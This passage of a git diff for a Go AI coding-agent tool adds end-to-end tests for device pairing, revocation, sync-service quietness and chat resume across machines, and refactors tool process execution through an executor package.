j.check(regexp.MustCompile(`Paired - \d+ workspaces? available`).MatchString(screen), "B's line is not 'Paired - N workspaces available'") + j.see(b) + toast, ok := waitPlain(a, 6*time.Second, "is now paired") + j.check(ok, "A showed no 'is now paired' news") + t.Logf("A after approve:\n%s", toast) + }) + + // UX_SEGMENT=A stops after the approval and runs only the fresh-install check. + if os.Getenv("UX_SEGMENT") == "A" { + j.freeze() + stepFresh(j, env) + return + } + + var b2 *rig + j.step("4a B: opens a chat and does some work", true, func() { + b2 = startWithEnv(t, env, "b2", homeB, wsB, 120, 40) + b2.skipSetup(t) + b2.lit("Run the shell command make test and tell me what it printed.") + b2.keys("Enter") + screen, ok := waitPlain(b2, 90*time.Second, "3 passed") + j.require(ok, "B's chat never showed the test output") + time.Sleep(4 * time.Second) // let the chat reach the sync service + j.see(b2) + _ = screen + }) + + j.step("4b A: devices row shows both online", true, func() { + b2.keys("Space") + b2.keys("Space") + time.Sleep(3 * time.Second) + a.keys("Space") + a.keys("Space") + a.keys("Up") + time.Sleep(2 * time.Second) + home := j.see(a) + j.check(strings.Contains(home, "This") || strings.Count(home, "●") >= 2, "no devices row on A's home with a chat from the other device under the cursor") + a.keys("Escape") + a.lit("/devices") + a.keys("Enter") + list, ok := waitPlain(a, 8*time.Second, "esc close") + j.check(ok, "/devices showed no list") + j.check(strings.Count(list, "●") >= 2, "the device list does not show both devices online") + sc := strings.Split(strings.TrimRight(list, "\n "), "\n") + t.Logf("A /devices:\n%s", strings.Join(sc[len(sc)-6:], "\n")) + a.keys("Escape") + }) + + j.step("5a stop B; reopen A; continue prompt", true, func() { + b2.loseLid() + time.Sleep(3 * time.Second) + a.lit("/quit") + a.keys("Enter") + time.Sleep(3 * time.Second) + a.kill() + diag := guardedCommand(t, context.Background(), homeA, append(env, "CODEAF_HOME="+homeA), binary(t), "cell", "list", "--all") + dout, _ := diag.CombinedOutput() + t.Logf("diagnostic cell list:\n%s", dout) + a = startWithEnv(t, env, "a2", homeA, wsA, 180, 45) + a.skipSetup(t) + a.keys("Space") + a.keys("Space") + screen, ok := waitPlain(a, 15*time.Second, "latest chat here?") + j.require(ok, "A offered no way to continue where B left off") + j.see(a) + _ = screen + t.Logf("A reopened:\n%s", screen) + }) + + moved := false + j.step("6a A: Continue here on B's chat", false, func() { + a.keys("Up") + a.keys("Enter") + screen, ok := waitPlain(a, 8*time.Second, "Continue this chat here?") + j.require(ok, "no takeover question for B's chat") + j.see(a) + j.check(strings.Contains(screen, "continue here"), "the question does not offer 'continue here'") + a.keys("1") + a.keys("Enter") + began := time.Now() + after, ok := waitPlain(a, 40*time.Second, "Moved from") + j.require(ok, "no 'Moved from' banner after continuing") + j.check(regexp.MustCompile(`Moved from \S+ in [0-9.]+m?s`).MatchString(after), "the banner does not say how long the move took") + j.see(a) + t.Logf("banner after %s", time.Since(began)) + time.Sleep(3 * time.Second) + moved = true + }) + + j.step("6b A: the moved chat opens with the resume card", false, func() { + j.check(moved, "the move did not complete") + screen := plain(a) + j.see(a) + j.check(strings.Contains(screen, "README.md"), "the resume card does not list the uncommitted file") + j.check(strings.Contains(screen, "last tests"), "the resume card does not give the last test run") + j.check(strings.Contains(screen, "3 passed") || strings.Contains(screen, "passed"), "the moved chat does not show the result B saw") + }) + + j.step("7 revoke B from A; B is rejected", false, func() { + a.keys("Escape") + a.lit("/devices") + a.keys("Enter") + list, ok := waitPlain(a, 8*time.Second, "r remove") + j.require(ok, "no device list on A") + t.Logf("devices before revoke:\n%s", list) + a.keys(downToOtherDevice(list)...) + a.keys("r") + time.Sleep(3 * time.Second) + after := plain(a) + j.check(strings.Contains(after, "was revoked"), "A did not confirm the revoke") + j.see(a) + bAgain := startCommand(t, env, "b3", homeB, wsB) + time.Sleep(12 * time.Second) + rejected := plain(bAgain) + t.Logf("B after revoke:\n%s", rejected) + j.check(regexp.MustCompile(`(?i)revoked|reach your chats|bring it back|removed|not (allowed|paired)`).MatchString(rejected), "B opened its chat normally after being revoked and said nothing") + bAgain.kill() + cmd := startCommand(t, env, "b4", homeB, wsB, "devices") + time.Sleep(6 * time.Second) + said := plain(cmd) + t.Logf("B codeaf devices after revoke:\n%s", said) + j.check(regexp.MustCompile(`(?i)revoked|reach your chats|bring it back|removed|not (allowed|paired)`).MatchString(said), "B's own device list does not say B was turned away") + j.see(cmd) + }) + + j.freeze() + stepFresh(j, env) +} + +func stepFresh(j *journey, env []string) { + t := j.t + j.step("0 fresh install: the card shows with no setup", false, func() { + fresh := startWithEnv(t, env, "fresh", newHome(t, nil), newWorkspace(t, "fresh", true), 180, 45) + fresh.skipSetup(t) + fresh.keys("Space") + fresh.keys("Space") + _, ok := waitPlain(fresh, 10*time.Second, "Add another device") + j.check(ok, "a machine that never ran pair --code shows no 'Add another device' card") + j.see(fresh) + }) +} + +// downToOtherDevice is the Down presses from the first device row to the first +// row that does not say "this device". +// deviceRow is a line of the device list: a presence dot, a name, and a short id tail. +// The tab bar also carries a dot, so the dot alone does not mark a row. +var deviceRow = regexp.MustCompile(`[●○]\s+\S+ #[0-9a-f]{4}\b`) + +func downToOtherDevice(list string) []string { + n := 0 + for _, line := range strings.Split(list, "\n") { + switch { + case !deviceRow.MatchString(line): + case strings.Contains(line, "this device"): + n++ + default: + return slices.Repeat([]string{"Down"}, n) + } + } + return []string{"Down"} +} diff --git a/internal/e2e/quiet_e2e_test.go b/internal/e2e/quiet_e2e_test.go new file mode 100644 index 0000000000..a7e8fb6b5d --- /dev/null +++ b/internal/e2e/quiet_e2e_test.go @@ -0,0 +1,88 @@ +//go:build e2e + +package e2e + +// A FRESH INSTALL IS QUIET. A person who has not paired and has not opened the +// add-machine card has asked for nothing from the sync service, so none of the +// first use may reach it: not the home screen's device list, not its watch +// socket, not the device record, not the sealing and upload of a chat that ran +// tools. The sync address here is a counting server; it counts every request +// and every socket upgrade, and the test fails on the first one. + +import ( + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/config" +) + +// tally is a sync service that counts what reaches it and answers nothing. +type tally struct { + mu sync.Mutex + paths []string +} + +func (c *tally) ServeHTTP(w http.ResponseWriter, r *http.Request) { + c.mu.Lock() + c.paths = append(c.paths, r.Method+" "+r.URL.Path+" upgrade="+r.Header.Get("Upgrade")) + c.mu.Unlock() + http.Error(w, "counted", http.StatusServiceUnavailable) +} + +func (c *tally) seen() []string { + c.mu.Lock() + defer c.mu.Unlock() + return append([]string(nil), c.paths...) +} + +func TestFreshInstallSendsNothingToTheSyncService(t *testing.T) { + key := requireTmuxAndKey(t) + count := &tally{} + srv := httptest.NewServer(count) + defer srv.Close() + env := []string{config.APIKeyEnv + "=" + key, "CODEAF_SYNC_URL=" + srv.URL, "CODEAF_SYNC_INTERVAL_MS=1000"} + + home, ws := newHome(t, nil), newWorkspace(t, "proj", true) + app := startWithEnv(t, env, "quiet", home, ws, 180, 45) + app.skipSetup(t) + app.keys("Space") + app.keys("Space") + if _, ok := waitPlain(app, 12*time.Second, "Add another device"); !ok { + t.Fatalf("the card is hidden on a fresh install:\n%s", plain(app)) + } + time.Sleep(20 * time.Second) // home polls, device row, watch socket would all have fired + + app.lit("run the shell command: echo quiet-check > note.txt then say done") + app.keys("Enter") + if _, ok := waitPlain(app, 120*time.Second, "done"); !ok { + t.Logf("the chat did not finish in time:\n%s", plain(app)) + } + time.Sleep(5 * time.Second) + if got := count.seen(); len(got) != 0 { + t.Fatalf("a fresh install reached the sync service %d times: %s", len(got), strings.Join(got, "; ")) + } + + app.kill() + app = startWithEnv(t, env, "engaged", home, ws, 180, 45) + app.skipSetup(t) + app.keys("Space") + app.keys("Space") + if _, ok := waitPlain(app, 12*time.Second, "Add another device"); !ok { + t.Fatalf("the card is gone on the second launch:\n%s", plain(app)) + } + if got := count.seen(); len(got) != 0 { + t.Fatalf("a second quiet launch reached the sync service: %s", strings.Join(got, "; ")) + } + app.keys("M-d") + deadline := time.Now().Add(15 * time.Second) + for len(count.seen()) == 0 && time.Now().Before(deadline) { + time.Sleep(500 * time.Millisecond) + } + if len(count.seen()) == 0 { + t.Fatal("opening the add-machine card never reached the sync service") + } +} diff --git a/internal/e2e/relayenv_test.go b/internal/e2e/relayenv_test.go new file mode 100644 index 0000000000..3d9d88f2c8 --- /dev/null +++ b/internal/e2e/relayenv_test.go @@ -0,0 +1,76 @@ +package e2e + +// relayenv_test.go is the one place an end-to-end test learns which relay it runs against. +// +// A test that fell back to a relay of its own when nothing was set put load, and a fresh identity +// per run, on a service nobody chose. So the relay is CODEAF_RELAY, the same variable the scripts +// read (scripts/measure/rigenv.py), and when it is missing the test stops and says so. + +import ( + "errors" + "os" + "path/filepath" + "strings" + "testing" +) + +// relayEnv is the variable that names the relay under test, for every script and every test. +const relayEnv = "CODEAF_RELAY" + +// relayFrom is the relay a lookup names, or the error that says which variable to set. +func relayFrom(lookup func(string) string) (string, error) { + if relay := strings.TrimSpace(lookup(relayEnv)); relay != "" { + return relay, nil + } + return "", errors.New(relayEnv + " is not set: it is the relay under test, for example https://relay.example.com (docs/testing-anywhere.md)") +} + +// relayUnderTest skips the test, with the reason, when no relay was named: a skip is honest here +// because the run needs a service that only the person running it can choose. +func relayUnderTest(t *testing.T) string { + t.Helper() + relay, err := relayFrom(os.Getenv) + if err != nil { + t.Skip(err.Error()) + } + return relay +} + +func TestRelayFromEnvNamesTheVariableWhenUnset(t *testing.T) { + _, err := relayFrom(func(string) string { return "" }) + if err == nil || !strings.Contains(err.Error(), relayEnv) { + t.Fatalf("an unset relay must stop with a message naming %s, got %v", relayEnv, err) + } +} + +func TestRelayFromEnvReadsOnlyTheNamedVariable(t *testing.T) { + got, err := relayFrom(func(k string) string { + if k == relayEnv { + return " https://relay.example.com " + } + return "https://other.example.com" + }) + if err != nil || got != "https://relay.example.com" { + t.Fatalf("got %q, %v", got, err) + } +} + +// TestNoRelayHiddenInTheSuite keeps every test's relay coming through relayUnderTest: no file may +// carry a relay address of its own or read a second variable for it. +func TestNoRelayHiddenInTheSuite(t *testing.T) { + files, _ := filepath.Glob("*_test.go") + for _, f := range files { + if f == "relayenv_test.go" { + continue + } + src, err := os.ReadFile(f) + if err != nil { + t.Fatal(err) + } + for _, banned := range []string{"workers.dev", "CODEAF_HOSTED_URL"} { + if strings.Contains(string(src), banned) { + t.Errorf("%s names %q: take the relay from relayUnderTest instead", f, banned) + } + } + } +} diff --git a/internal/e2e/resume_e2e_test.go b/internal/e2e/resume_e2e_test.go new file mode 100644 index 0000000000..3933bfcf29 --- /dev/null +++ b/internal/e2e/resume_e2e_test.go @@ -0,0 +1,267 @@ +//go:build e2e + +package e2e + +import ( + "context" + "fmt" + "net" + "net/http" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" +) + +// TestResumeBriefAfterTakeover is the live proof of the resume brief: a chat +// that installed its packages and started a server on one machine is continued +// on a second machine, where the install folder is NOT among the files that +// arrived, the takeover raises the setup card, and `set up` brings the folder +// and the server back. +// +// TWO STATE ROOTS AND ONE RELAY OF ITS OWN, on a port the OS hands out, so no +// other run's relay is ever touched. Every model role rides one model. +func TestResumeBriefAfterTakeover(t *testing.T) { + requireTmuxAndKey(t) + const model = "deepseek/deepseek-v4.1-flash" + overrides := map[string]any{"model.talk": model, "tools.approvalMode": "allow", "daily_budget_usd": 0, + "models.crew.allowed": model, "model_pool": "off"} + homeA, homeB := newHome(t, overrides), newHome(t, overrides) + t.Cleanup(func() { logInventories(t, homeA, homeB) }) + relay := startOwnRelay(t) + shareIdentity(t, homeA, homeB) + + port := freePort(t) + ws := jsWorkspace(t) + t.Cleanup(func() { logServerLog(t, ws) }) + cache := warmNpmCache(t, ws) + sync := []string{"CODEAF_SYNC_URL=" + relay, "CODEAF_SYNC_INTERVAL_MS=500"} + + a := startWithEnv(t, append([]string{config_key(t)}, append(sync, "CODEAF_TASK_BELT=node")...), "resume_a", homeA, ws, 160, 45, "chat", "--model", model, "--one-model", "--no-host") + a.skipSetup(t) + a.lit(fmt.Sprintf("Do exactly this with bash and nothing else, one bash call at a time, and wait for each call to finish before you make the next. 1) run `npm ci --offline --cache %s`. 2) start the server in the background with `nohup node server.js %d >server.log 2>&1 &`. 3) wait 2 seconds. Then answer with the sum of 19273 and 28114, as digits only.", cache, port)) + // The prompt asks for one call at a time because a model that sends the install + // and the server start as two parallel calls starts the server before the install + // has put its packages in place, and the server dies on its first require. + a.keys("Enter") + // The reply is a sum that is on screen nowhere until the model says it. A word + // quoted in the prompt would be found while the call is still running, and so + // would one the title writer copies into the chat's name; quitting then ends + // the server and the seal before either could be recorded. + a.waitFor(4*time.Minute, "47387") + waitUp(t, port) + a.quit() + stopServer(t, port) + + b := startWithEnv(t, append([]string{config_key(t)}, sync...), "resume_b", homeB, newWorkspace(t, "elsewhere", false), 160, 45, "chat", "--model", model, "--one-model", "--no-host") + b.skipSetup(t) + b.keys("Space", "Space") + b.waitFor(60*time.Second, keyedWord("1", "chat")) + time.Sleep(8 * time.Second) + t.Logf("B home:\n%s", b.capture()) + b.keys("Up") + t.Logf("after up:\n%s", b.capture()) + b.keys("Enter") + b.waitFor(30*time.Second, "Continue this chat here?") + // Answer by the option's own key, then enter. Under home the up arrow is home's and + // disarms the row, so walking the pointer would close the card. + b.keys("1", "Enter") + card := b.waitFor(90*time.Second, "Set this machine up like") + t.Logf("the card:\n%s", card) + if !strings.Contains(card, "was running there") { + t.Errorf("the card does not say the server was running there:\n%s", card) + } + tree := takenTree(t, homeB) + if _, err := os.Stat(filepath.Join(tree, "node_modules")); err == nil { + t.Fatalf("node_modules travelled to %s", tree) + } + b.keys("1", "Enter") + waitUp(t, port) + b.waitForSetupTurn(t) + if _, err := os.Stat(filepath.Join(tree, "node_modules")); err != nil { + t.Fatalf("set up did not rebuild node_modules: %v", err) + } + t.Logf("E2E resume: model=%s card=shown node_modules=absent-then-rebuilt server=back port=%d", model, port) + b.quit() + stopServer(t, port) +} + +// waitForSetupTurn waits until the agent has finished the setup turn: the turn's +// summary line, which reads "worked" once it is over and "working" while it runs. +// Quitting before then cancels the call in flight and ends the server it started. +func (r *rig) waitForSetupTurn(t *testing.T) { + t.Helper() + deadline := time.Now().Add(3 * time.Minute) + for time.Now().Before(deadline) { + screen := r.capture() + if at := strings.Index(screen, "› set up this machine"); at >= 0 && strings.Contains(screen[at:], "worked ") { + return + } + time.Sleep(time.Second) + } + t.Fatal("the setup turn never finished") +} + +func config_key(t *testing.T) string { return "OPENROUTER_API_KEY=" + liveKey(t) } + +func freePort(t *testing.T) int { + t.Helper() + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + defer l.Close() + return l.Addr().(*net.TCPAddr).Port +} + +func startOwnRelay(t *testing.T) string { + t.Helper() + addr := fmt.Sprintf("127.0.0.1:%d", freePort(t)) + state := t.TempDir() + cmd := guardedCommand(t, context.Background(), state, append(os.Environ(), "CODEAF_HOME="+state), binary(t), "relay", "--listen", addr, "--store", t.TempDir()) + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = cmd.Process.Kill(); _, _ = cmd.Process.Wait() }) + url := "http://" + addr + for i := 0; i < 50; i++ { + if resp, err := http.Get(url + "/status"); err == nil { + resp.Body.Close() + return url + } + time.Sleep(200 * time.Millisecond) + } + t.Fatal("the relay never answered") + return "" +} + +func shareIdentity(t *testing.T, from, to string) { + t.Helper() + blob := filepath.Join(t.TempDir(), "id.blob") + run := func(home, phrase string, args ...string) { + cmd := guardedCommand(t, context.Background(), home, append(os.Environ(), "CODEAF_HOME="+home), binary(t), append([]string{"identity"}, args...)...) + cmd.Stdin = strings.NewReader(phrase + "\n") + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("identity %v: %v\n%s", args, err, out) + } + } + run(from, "resume-e2e", "export", blob) + run(to, "resume-e2e", "import", blob) +} + +func jsWorkspace(t *testing.T) string { + t.Helper() + ws := workspaceAt(t, filepath.Join(t.TempDir(), "resume-probe"), false) + write := func(name, body string) { + if err := os.WriteFile(filepath.Join(ws, name), []byte(body), 0o644); err != nil { + t.Fatal(err) + } + } + write("package.json", `{"name":"resume-probe","version":"1.0.0","dependencies":{"is-odd":"3.0.1"}}`) + write("server.js", "const odd=require('is-odd');require('http').createServer((q,s)=>s.end(String(odd(3)))).listen(+process.argv[2]);\n") + write(".gitignore", "node_modules\nserver.log\n") + lock := exec.Command("npm", "install", "--package-lock-only", "--silent") + lock.Dir = ws + if out, err := lock.CombinedOutput(); err != nil { + t.Fatalf("npm lock: %v\n%s", err, out) + } + return ws +} + +// serverPids are the processes running this run's server, found by its own +// command line. The chat's shell may sit in a network space the test cannot +// reach, so the process is the fact, and not an answer over a socket. +func serverPids(port int) []int { + want := fmt.Sprintf("server.js\x00%d", port) + var pids []int + dirs, _ := filepath.Glob("/proc/[0-9]*/cmdline") + for _, path := range dirs { + if raw, err := os.ReadFile(path); err == nil && strings.Contains(string(raw), want) { + var pid int + fmt.Sscanf(strings.TrimPrefix(path, "/proc/"), "%d", &pid) + pids = append(pids, pid) + } + } + return pids +} + +func waitUp(t *testing.T, port int) { + t.Helper() + for i := 0; i < 120; i++ { + if len(serverPids(port)) > 0 { + return + } + time.Sleep(time.Second) + } + t.Fatalf("no server process for port %d", port) +} + +// stopServer ends the server this run started. +func stopServer(t *testing.T, port int) { + t.Helper() + for _, pid := range serverPids(port) { + _ = exec.Command("kill", fmt.Sprint(pid)).Run() + } + time.Sleep(500 * time.Millisecond) +} + +// takenTree is the folder the second machine holds the chat's files in. +func takenTree(t *testing.T, home string) string { + t.Helper() + found, _ := filepath.Glob(filepath.Join(home, "v3", "projects", "*", "*", "work")) + if len(found) == 0 { + t.Fatalf("no taken tree under %s", home) + } + return found[0] +} + +// warmNpmCache installs the lockfile once from outside the chat, into a cache +// folder of its own, because the chat's shell may have no network and no user +// cache. The chat then installs from that folder, offline. +func warmNpmCache(t *testing.T, ws string) string { + t.Helper() + cache, scratch := t.TempDir(), t.TempDir() + for _, name := range []string{"package.json", "package-lock.json"} { + raw, err := os.ReadFile(filepath.Join(ws, name)) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(scratch, name), raw, 0o644); err != nil { + t.Fatal(err) + } + } + warm := exec.Command("npm", "ci", "--cache", cache) + warm.Dir = scratch + if out, err := warm.CombinedOutput(); err != nil { + t.Fatalf("npm cache warm: %v\n%s", err, out) + } + return cache +} + +// logInventories prints what each machine recorded of the chat's environment, +// when the run failed: the record is the fact the card is built from, and a +// failure that shows no card line cannot be read without it. +func logInventories(t *testing.T, homes ...string) { + if !t.Failed() { + return + } + for _, home := range homes { + files, _ := filepath.Glob(filepath.Join(home, "v3", "projects", "*", "*", ".cell", "env", "inventory.json")) + for _, f := range files { + raw, _ := os.ReadFile(f) + t.Logf("INVENTORY %s\n%s", f, raw) + } + } +} + +// logServerLog prints what the chat's server wrote, when the run failed: a server +// that died at once says why there. +func logServerLog(t *testing.T, ws string) { + if !t.Failed() { + return + } + raw, err := os.ReadFile(filepath.Join(ws, "server.log")) + t.Logf("server.log (%v): %q", err, raw) +} diff --git a/internal/e2e/tmux_test.go b/internal/e2e/tmux_test.go index aa27fccff4..4053b06742 100644 --- a/internal/e2e/tmux_test.go +++ b/internal/e2e/tmux_test.go @@ -455,6 +455,9 @@ func startWithEnv(t *testing.T, env []string, name, home, ws string, cols, rows // AND THE SETUP FORM IS ONE AT EVERY WIDTH. Below sixty columns it draws // neither its title nor `esc skips setup`, only the first two clauses of its // legend, which is what [setupMovesWord] reads. + if headlessVerbs[firstWord(args)] { + return r + } if hit, _ := r.waitForAny(45*time.Second, say(t, "placeRestWord"), say(t, "starterTaskWord"), say(t, "setupTitleWord"), say(t, "setupSkipWord"), setupMovesWord, say(t, "landingKeysWord"), say(t, "welcomeStarterKeysWord"), @@ -465,6 +468,17 @@ func startWithEnv(t *testing.T, env []string, name, home, ws string, cols, rows return r } +// headlessVerbs are commands that print to the terminal and never draw a +// surface, so a launch of one has no interactive screen to wait for. +var headlessVerbs = map[string]bool{"pair": true, "devices": true} + +func firstWord(args []string) string { + if len(args) == 0 { + return "" + } + return args[0] +} + func (r *rig) resize(cols, rows int) { r.t.Helper() out, err := exec.Command("tmux", "resize-window", "-t", r.name, diff --git a/internal/enginehost/host.go b/internal/enginehost/host.go index dec1f7d942..e34c34e738 100644 --- a/internal/enginehost/host.go +++ b/internal/enginehost/host.go @@ -60,6 +60,11 @@ var ErrHostRunning = errors.New("engine host: another host already holds this wo // writes it. var sessionIdle = 30 * time.Minute +// SessionIdleAfter is how long a host keeps a conversation nobody is in before +// it lets go of the conversation's journal lock, for a sentence that tells +// someone how long a "running" row can last. +func SessionIdleAfter() time.Duration { return sessionIdle } + const ( hostIdle = 2 * time.Minute sweepEvery = 30 * time.Second @@ -106,6 +111,11 @@ type Options struct { // no door behind it means, and the empty string it answers for a hello that // named nothing is then the boot's problem rather than an identity. Key func(remote.Hello) string + + // Cells is the cells mode this host runs in, fixed when it starts. It is + // told to every asker ([remote.HostSelf.Cells]) so a door in the other mode + // can replace an idle host or refuse a busy one instead of attaching. + Cells bool } // Host is one workspace's conversations, and the socket they are reached @@ -496,6 +506,7 @@ func (h *Host) whois(ask remote.WhoIs) remote.HostSelf { self.Started = h.started self.BuiltAt = h.binary.builtAt() self.Surfaces = h.live - h.probes + self.Cells = h.opts.Cells for _, sess := range h.sessions { if sess != nil && !sess.Ended() { self.Conversations++ diff --git a/internal/enginehost/status_test.go b/internal/enginehost/status_test.go index fe8bef03c1..f20c951668 100644 --- a/internal/enginehost/status_test.go +++ b/internal/enginehost/status_test.go @@ -55,6 +55,25 @@ func TestAHostNamesItsProcessBinaryAndStartForStatus(t *testing.T) { } } +// A HOST SAYS THE CELLS MODE IT STARTED IN, so a door in the other mode can tell. +func TestAHostSaysTheCellsModeItStartedIn(t *testing.T) { + shortHome(t) + workspace := "/home/somebody/api" + stopped := make(chan error, 1) + go func() { + stopped <- Run(workspace, Options{Cells: true, Boot: func(remote.Hello) (*remote.Engine, error) { + return &remote.Engine{Agent: stubAgent{}, Workspace: workspace}, nil + }}) + }() + waitForHostQuietly(t, workspace) + t.Cleanup(func() { _ = Retire(workspace, true); <-stopped }) + + held, err := Inspect(workspace) + if err != nil || !held.Self.Cells { + t.Fatalf("a host started with cells on said %+v, %v", held.Self, err) + } +} + func TestInspectFindsNothingWhereNothingIsHolding(t *testing.T) { shortHome(t) if _, err := Inspect("/home/somebody/api"); !errors.Is(err, ErrNothingHolding) { diff --git a/internal/exec/accountfor.go b/internal/exec/accountfor.go index f987220bd0..220d958418 100644 --- a/internal/exec/accountfor.go +++ b/internal/exec/accountfor.go @@ -568,6 +568,7 @@ func runGit(ctx context.Context, root string, args ...string) (string, bool) { if ctx == nil { return "", false } + //codeaf:plumbing git read of the workspace state command := osexec.CommandContext(ctx, "git", append([]string{"-C", root}, args...)...) // A read that takes the index lock can lose a race with whatever else is // working in this tree, and an account is never worth blocking the work. diff --git a/internal/exec/bare/bash_spill_windows.go b/internal/exec/bare/bash_spill_windows.go index c5e08fca04..ba60a08e28 100644 --- a/internal/exec/bare/bash_spill_windows.go +++ b/internal/exec/bare/bash_spill_windows.go @@ -3,8 +3,9 @@ package bare import ( - "golang.org/x/sys/windows" "os" + + "golang.org/x/sys/windows" ) func bashSpillSingleLink(file *os.File) bool { diff --git a/internal/exec/bare/grepfindls.go b/internal/exec/bare/grepfindls.go index 11ff008949..6e698201e3 100644 --- a/internal/exec/bare/grepfindls.go +++ b/internal/exec/bare/grepfindls.go @@ -18,6 +18,8 @@ import ( "sort" "strings" "sync" + + "github.com/Agent-Field/codeaf/internal/executor" ) // grepMaxLineLength mirrors pi's truncate.js:GREP_MAX_LINE_LENGTH. @@ -201,8 +203,12 @@ func newGrepToolUsing(cwd string, caps Caps, rgPath string, haveRipgrep bool) To } rgArgs = append(rgArgs, "--", p.Pattern, ".") - cmd := exec.CommandContext(ctx, rgPath, rgArgs...) - cmd.Dir = searchPath + cmd, err := executor.For(ctx).In(searchPath).Command(ctx, executor.ExecRequest{ + Argv: append([]string{rgPath}, rgArgs...), + }) + if err != nil { + return fmt.Sprintf("Failed to run ripgrep: %s", err.Error()), true, nil + } var stderr grepErrorBuffer cmd.Stderr = &stderr stdout, err := cmd.StdoutPipe() @@ -705,18 +711,20 @@ func newFindTool(cwd string, caps Caps) Tool { } fdArgs = append(fdArgs, "--", effectivePattern, searchPath) - cmd := exec.CommandContext(ctx, fdPath, fdArgs...) - var stdout, stderr strings.Builder - cmd.Stdout = &stdout - cmd.Stderr = &stderr - - runErr := cmd.Run() + res, runErr := executor.For(ctx).In("").Exec(ctx, executor.ExecRequest{ + Argv: append([]string{fdPath}, fdArgs...), + Group: executor.GroupInherit, + }, nil) + stdout, stderr := string(res.Stdout), string(res.Stderr) + if runErr == nil { + runErr = res.Failure() + } if ctx.Err() != nil { return "Operation aborted", true, nil } - output := strings.TrimSpace(stdout.String()) + output := strings.TrimSpace(stdout) if output == "" { return "No files found matching pattern", false, nil } @@ -763,7 +771,7 @@ func newFindTool(cwd string, caps Caps) Tool { // Check for fd error with non-zero exit and no output. if runErr != nil { - errMsg := strings.TrimSpace(stderr.String()) + errMsg := strings.TrimSpace(stderr) if errMsg != "" && resultOutput == "" { return errMsg, true, nil } diff --git a/internal/exec/bare/hostseat_test.go b/internal/exec/bare/hostseat_test.go new file mode 100644 index 0000000000..c95559a614 --- /dev/null +++ b/internal/exec/bare/hostseat_test.go @@ -0,0 +1,7 @@ +package bare + +import "github.com/Agent-Field/codeaf/internal/executor/executortest" + +// These tests run tools with no session, so their calls run on the host seat +// by name; production still refuses a call that lost its session. +func init() { executortest.Host() } diff --git a/internal/exec/bare/promote.go b/internal/exec/bare/promote.go index abe88e5b8b..70b27149e8 100644 --- a/internal/exec/bare/promote.go +++ b/internal/exec/bare/promote.go @@ -263,6 +263,9 @@ func watchCancel(ctx context.Context, call *BashCall, done <-chan struct{}) { guard.Go("exec/bare cancel watch", func() { select { case <-ctx.Done(): + if finished(done) { + return + } if _, _, adopted := call.close(); !adopted { killProcessGroup(call.cmd) } @@ -270,3 +273,17 @@ func watchCancel(ctx context.Context, call *BashCall, done <-chan struct{}) { } }) } + +// finished reports that the call already returned. A call's context is cancelled +// right behind its return, so a watcher that had not run yet finds both of its +// cases ready and is handed one at random; taking the cancellation then killed +// the group of a call that had ended cleanly, and with it any server the command +// had deliberately left running. A call that returned has nothing left to cancel. +func finished(done <-chan struct{}) bool { + select { + case <-done: + return true + default: + return false + } +} diff --git a/internal/exec/bare/spawned_test.go b/internal/exec/bare/spawned_test.go new file mode 100644 index 0000000000..cfaa95a585 --- /dev/null +++ b/internal/exec/bare/spawned_test.go @@ -0,0 +1,32 @@ +package bare + +import ( + "context" + "encoding/json" + "testing" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// A bash call tells its seat which process group it started, so the record around +// the call can end that group if codeaf dies first. The group leads itself: its id +// is its leader's pid. +func TestABashCallReportsTheGroupItStarted(t *testing.T) { + var bash Tool + for _, tool := range AllTools(t.TempDir()) { + if tool.Name == "bash" { + bash = tool + } + } + ctx, spawns := executor.WithSpawns(context.Background()) + var groups []int + spawns.Watch(func(pgid int) { groups = append(groups, pgid) }) + args, _ := json.Marshal(map[string]any{"command": "true"}) + + if _, bad, err := bash.Execute(ctx, args); bad || err != nil { + t.Fatalf("bash failed: %v %v", bad, err) + } + if len(groups) != 1 || groups[0] <= 0 { + t.Fatalf("groups %v, want one positive process group id", groups) + } +} diff --git a/internal/exec/bare/streaming.go b/internal/exec/bare/streaming.go index 658adcaf14..0a1486f943 100644 --- a/internal/exec/bare/streaming.go +++ b/internal/exec/bare/streaming.go @@ -141,6 +141,7 @@ var stdbufPrefix = sync.OnceValue(func() []string { if err != nil { return nil } + //codeaf:plumbing capability probe of a helper binary probe := exec.Command(path, "-oL", "-eL", "true") probe.Env = os.Environ() output, err := probe.CombinedOutput() diff --git a/internal/exec/bare/tools.go b/internal/exec/bare/tools.go index 30ff7841d0..6538093f03 100644 --- a/internal/exec/bare/tools.go +++ b/internal/exec/bare/tools.go @@ -18,6 +18,7 @@ import ( "sync" "time" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/guard" "github.com/Agent-Field/codeaf/internal/processgroup" ) @@ -470,9 +471,6 @@ func newBashTool(cwd string, caps Caps) Tool { // turn, and fatal for one that has been PROMOTED into a job that is // supposed to outlive it (promote.go). The cancel semantics are // unchanged: SIGKILL to the whole group, the moment ctx is done. - cmd := exec.Command(shell, shellArgs...) - cmd.Dir = cwd - cmd.Env = StreamingEnv() // Detached — a new session, not just a new group. The kill // semantics are identical (a session leader leads its own group), // and what the detachment buys is the terminal: a command that @@ -480,7 +478,6 @@ func newBashTool(cwd string, caps Caps) Tool { // instead of drawing over the surface that ran it. Measured on two // review CLIs promoted to jobs, whose frames landed across the top // of a running conversation. - processgroup.ConfigureDetached(cmd) // A COMMAND THAT LEAVES A BACKGROUND CHILD SHARING ITS STDOUT MUST // STILL COST ITS TIMEOUT AND NOTHING MORE. Killing the shell is not // enough on its own: Stdout and Stderr below are an in-process @@ -493,7 +490,13 @@ func newBashTool(cwd string, caps Caps) Tool { // gone for anything that survived. The defence is internal/exec's, // verbatim (tools.go, jobs.go), for a fault that was observed there // first. - cmd.WaitDelay = 3 * time.Second + cmd, err := executor.For(ctx).In(cwd).Command(context.Background(), executor.ExecRequest{ + Argv: append([]string{shell}, shellArgs...), Env: StreamingEnv(), + Group: executor.GroupSession, WaitDelay: 3 * time.Second, + }) + if err != nil { + return "Failed to start command: " + err.Error(), true, nil + } // Interleave stdout+stderr in arrival order. Setting both // cmd.Stdout 